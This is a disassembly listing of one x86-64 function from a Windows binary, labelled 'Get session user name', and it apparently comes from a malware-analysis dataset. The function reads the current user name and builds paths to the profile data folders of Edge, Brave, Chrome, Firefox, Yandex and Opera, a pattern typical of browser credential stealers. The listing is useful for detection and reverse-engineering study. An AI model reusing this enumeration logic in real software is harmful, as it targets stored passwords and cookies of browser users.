Function at 0x180001ea0
Capabilities:
Get session user name

Disassembly:
sub rsp, 0xd8
mov rax, qword [0x18002b020]
xor rax, rsp
mov qword [rsp + 0xb0], rax
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x31
lea rcx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x1800025a7
mov rax, qword [0x18002cef8]
mov qword [rsp + 0xe8], rbp
lea rbp, [0x18002cee0]
mov qword [rsp + 0xf0], rsi
mov qword [rsp + 0xc0], r15
xor r15d, r15d
mov qword [rsp + 0xe0], rbx
cmp rax, 0xd
jb 0x180001f44
cmp rax, 8
mov qword [0x18002cef0], 0xd
mov rbx, rbp
lea r8d, [r15 + 0x1a]
cmovae rbx, qword [0x18002cee0]
lea rdx, str.__C:Users_
mov rcx, rbx
call fcn.18000a2b0
mov word [rbx + 0x1a], r15w
jmp 0x180001f58
lea r9, str.__C:Users_
mov edx, 0xd
mov rcx, rbp
call fcn.180003d90
mov rsi, 0xffffffffffffffff
lea rax, [rsp + 0x40]
mov rdx, rsi
nop word [rax + rax]
inc rdx
cmp word [rax + rdx*2], r15w
jne 0x180001f70
mov r8, qword [0x18002cef8]
mov rcx, qword [0x18002cef0]
mov rax, r8
sub rax, rcx
mov qword [rsp + 0xd0], rdi
cmp rdx, rax
ja 0x180001fce
lea rdi, [rcx + rdx]
cmp r8, 8
lea r8, [rdx + rdx]
mov qword [0x18002cef0], rdi
mov rbx, rbp
lea rdx, [rsp + 0x40]
cmovae rbx, qword [0x18002cee0]
lea rcx, [rbx + rcx*2]
call fcn.18000a2b0
mov word [rbx + rdi*2], r15w
jmp 0x180001fe0
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rdx
mov rcx, rbp
call fcn.180003bc0
mov r8, qword [0x18002cef8]
mov rdx, qword [0x18002cef0]
mov rax, r8
sub rax, rdx
cmp rax, 1
jb 0x180002026
cmp r8, 8
lea rcx, [rdx + 1]
mov qword [0x18002cef0], rcx
mov rax, rbp
cmovae rax, qword [0x18002cee0]
mov r8d, 0x5c
mov word [rax + rdx*2], r8w
mov word [rax + rcx*2], r15w
jmp 0x180002043
lea r9, [0x1800279a4]
mov qword [rsp + 0x20], 1
mov edx, 1
mov rcx, rbp
call fcn.180003bc0
cmp qword [0x18002cef8], 8
mov r9, rbp
mov rdx, rsi
cmovae r9, qword [0x18002cee0]
nop dword [rax]
inc rdx
cmp word [r9 + rdx*2], r15w
jne 0x180002060
mov rax, qword [0x18002ba28]
mov qword [rsp + 0xc8], r14
lea r14, [0x18002ba10]
cmp rdx, rax
ja 0x1800020b4
lea rbx, [rdx + rdx]
mov qword [0x18002ba20], rdx
cmp rax, 8
mov rdi, r14
mov r8, rbx
mov rdx, r9
cmovae rdi, qword [0x18002ba10]
mov rcx, rdi
call fcn.18000a2b0
mov word [rbx + rdi], r15w
jmp 0x1800020bc
mov rcx, r14
call fcn.180003d90
mov rdx, qword [0x18002ba28]
mov rcx, qword [0x18002ba20]
mov rax, rdx
sub rax, rcx
cmp rax, 0x26
jb 0x18000210a
cmp rdx, 8
lea rbx, [rcx + 0x26]
mov r8d, 0x4c
mov qword [0x18002ba20], rbx
cmovae r14, qword [0x18002ba10]
lea rdx, str.AppDataLocalMicrosoftEdgeUser_Data
lea rcx, [r14 + rcx*2]
call fcn.18000a2b0
mov word [r14 + rbx*2], r15w
jmp 0x180002127
lea r9, str.AppDataLocalMicrosoftEdgeUser_Data
mov qword [rsp + 0x20], 0x26
mov edx, 0x26
mov rcx, r14
call fcn.180003bc0
cmp qword [0x18002cef8], 8
mov r9, rbp
mov rdx, rsi
cmovae r9, qword [0x18002cee0]
nop dword [rax]
inc rdx
cmp word [r9 + rdx*2], r15w
jne 0x180002140
mov rax, qword [0x18002ba48]
lea r14, [0x18002ba30]
cmp rdx, rax
ja 0x18000218c
lea rbx, [rdx + rdx]
mov qword [0x18002ba40], rdx
cmp rax, 8
mov rdi, r14
mov r8, rbx
mov rdx, r9
cmovae rdi, qword [0x18002ba30]
mov rcx, rdi
call fcn.18000a2b0
mov word [rdi + rbx], r15w
jmp 0x180002194
mov rcx, r14
call fcn.180003d90
mov rdx, qword [0x18002ba48]
mov rcx, qword [0x18002ba40]
mov rax, rdx
sub rax, rcx
cmp rax, 0x33
jb 0x1800021e2
cmp rdx, 8
lea rbx, [rcx + 0x33]
mov r8d, 0x66
mov qword [0x18002ba40], rbx
cmovae r14, qword [0x18002ba30]
lea rdx, str.AppDataLocalBraveSoftwareBrave_BrowserUser_Data
lea rcx, [r14 + rcx*2]
call fcn.18000a2b0
mov word [r14 + rbx*2], r15w
jmp 0x1800021ff
lea r9, str.AppDataLocalBraveSoftwareBrave_BrowserUser_Data
mov qword [rsp + 0x20], 0x33
mov edx, 0x33
mov rcx, r14
call fcn.180003bc0
cmp qword [0x18002cef8], 8
mov r9, rbp
mov rdx, rsi
cmovae r9, qword [0x18002cee0]
inc rdx
cmp word [r9 + rdx*2], r15w
jne 0x180002215
mov rax, qword [0x18002ba68]
lea r14, [0x18002ba50]
cmp rdx, rax
ja 0x180002261
lea rbx, [rdx + rdx]
mov qword [0x18002ba60], rdx
cmp rax, 8
mov rdi, r14
mov r8, rbx
mov rdx, r9
cmovae rdi, qword [0x18002ba50]
mov rcx, rdi
call fcn.18000a2b0
mov word [rdi + rbx], r15w
jmp 0x180002269
mov rcx, r14
call fcn.180003d90
mov rdx, qword [0x18002ba68]
mov rcx, qword [0x18002ba60]
mov rax, rdx
sub rax, rcx
cmp rax, 0x25
jb 0x1800022b7
cmp rdx, 8
lea rbx, [rcx + 0x25]
mov r8d, 0x4a
mov qword [0x18002ba60], rbx
cmovae r14, qword [0x18002ba50]
lea rdx, str.AppDataLocalGoogleChromeUser_Data
lea rcx, [r14 + rcx*2]
call fcn.18000a2b0
mov word [r14 + rbx*2], r15w
jmp 0x1800022d4
lea r9, str.AppDataLocalGoogleChromeUser_Data
mov qword [rsp + 0x20], 0x25
mov edx, 0x25
mov rcx, r14
call fcn.180003bc0
cmp qword [0x18002cef8], 8
mov r9, rbp
mov rdx, rsi
cmovae r9, qword [0x18002cee0]
nop word [rax + rax]
inc rdx
cmp word [r9 + rdx*2], r15w
jne 0x1800022f0
mov rax, qword [0x18002ba88]
lea r14, [0x18002ba70]
cmp rdx, rax
ja 0x18000233c
lea rbx, [rdx + rdx]
mov qword [0x18002ba80], rdx
cmp rax, 8
mov rdi, r14
mov r8, rbx
mov rdx, r9
cmovae rdi, qword [0x18002ba70]
mov rcx, rdi
call fcn.18000a2b0
mov word [rdi + rbx], r15w
jmp 0x180002344
mov rcx, r14
call fcn.180003d90
mov rdx, qword [0x18002ba88]
mov rcx, qword [0x18002ba80]
mov rax, rdx
sub rax, rcx
cmp rax, 0x28
jb 0x180002392
cmp rdx, 8
lea rbx, [rcx + 0x28]
mov r8d, 0x50
mov qword [0x18002ba80], rbx
cmovae r14, qword [0x18002ba70]
lea rdx, str.AppDataRoamingMozillaFirefoxProfiles
lea rcx, [r14 + rcx*2]
call fcn.18000a2b0
mov word [r14 + rbx*2], r15w
jmp 0x1800023af
lea r9, str.AppDataRoamingMozillaFirefoxProfiles
mov qword [rsp + 0x20], 0x28
mov edx, 0x28
mov rcx, r14
call fcn.180003bc0
cmp qword [0x18002cef8], 8
mov r9, rbp
mov rdx, rsi
cmovae r9, qword [0x18002cee0]
inc rdx
cmp word [r9 + rdx*2], r15w
jne 0x1800023c5
mov rax, qword [0x18002baa8]
lea r14, [0x18002ba90]
cmp rdx, rax
ja 0x180002411
lea rbx, [rdx + rdx]
mov qword [0x18002baa0], rdx
cmp rax, 8
mov rdi, r14
mov r8, rbx
mov rdx, r9
cmovae rdi, qword [0x18002ba90]
mov rcx, rdi
call fcn.18000a2b0
mov word [rdi + rbx], r15w
jmp 0x180002419
mov rcx, r14
call fcn.180003d90
mov rdx, qword [0x18002baa8]
mov rcx, qword [0x18002baa0]
mov rax, rdx
sub rax, rcx
cmp rax, 0x2c
jb 0x180002467
cmp rdx, 8
lea rbx, [rcx + 0x2c]
mov r8d, 0x58
mov qword [0x18002baa0], rbx
cmovae r14, qword [0x18002ba90]
lea rdx, str.AppDataLocalYandexYandexBrowserUser_Data
lea rcx, [r14 + rcx*2]
call fcn.18000a2b0
mov word [r14 + rbx*2], r15w
jmp 0x180002484
lea r9, str.AppDataLocalYandexYandexBrowserUser_Data
mov qword [rsp + 0x20], 0x2c
mov edx, 0x2c
mov rcx, r14
call fcn.180003bc0
cmp qword [0x18002cef8], 8
cmovae rbp, qword [0x18002cee0]
inc rsi
cmp word [rbp + rsi*2], r15w
jne 0x180002494
mov rax, qword [0x18002bac8]
lea r14, [0x18002bab0]
cmp rsi, rax
ja 0x1800024e1
cmp rax, 8
mov qword [0x18002bac0], rsi
mov rdi, r14
lea rbx, [rsi + rsi]
cmovae rdi, qword [0x18002bab0]
mov r8, rbx
mov rcx, rdi
mov rdx, rbp
call fcn.18000a2b0
mov word [rdi + rbx], r15w
jmp 0x1800024ef
mov r9, rbp
mov rdx, rsi
mov rcx, r14
call fcn.180003d90
mov rdx, qword [0x18002bac8]
mov rcx, qword [0x18002bac0]
mov rax, rdx
mov rdi, qword [rsp + 0xd0]
sub rax, rcx
mov rsi, qword [rsp + 0xf0]
mov rbp, qword [rsp + 0xe8]
cmp rax, 0x2b
jb 0x180002555
cmp rdx, 8
lea rbx, [rcx + 0x2b]
mov r8d, 0x56
mov qword [0x18002bac0], rbx
cmovae r14, qword [0x18002bab0]
lea rdx, str.AppDataRoamingOpera_SoftwareOpera_Stable
lea rcx, [r14 + rcx*2]
call fcn.18000a2b0
mov word [r14 + rbx*2], r15w
jmp 0x180002572
lea r9, str.AppDataRoamingOpera_SoftwareOpera_Stable
mov qword [rsp + 0x20], 0x2b
mov edx, 0x2b
mov rcx, r14
call fcn.180003bc0
mov r15, qword [rsp + 0xc0]
mov eax, 1
mov r14, qword [rsp + 0xc8]
mov rbx, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.180008270
add rsp, 0xd8
ret
xor eax, eax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.180008270
add rsp, 0xd8
ret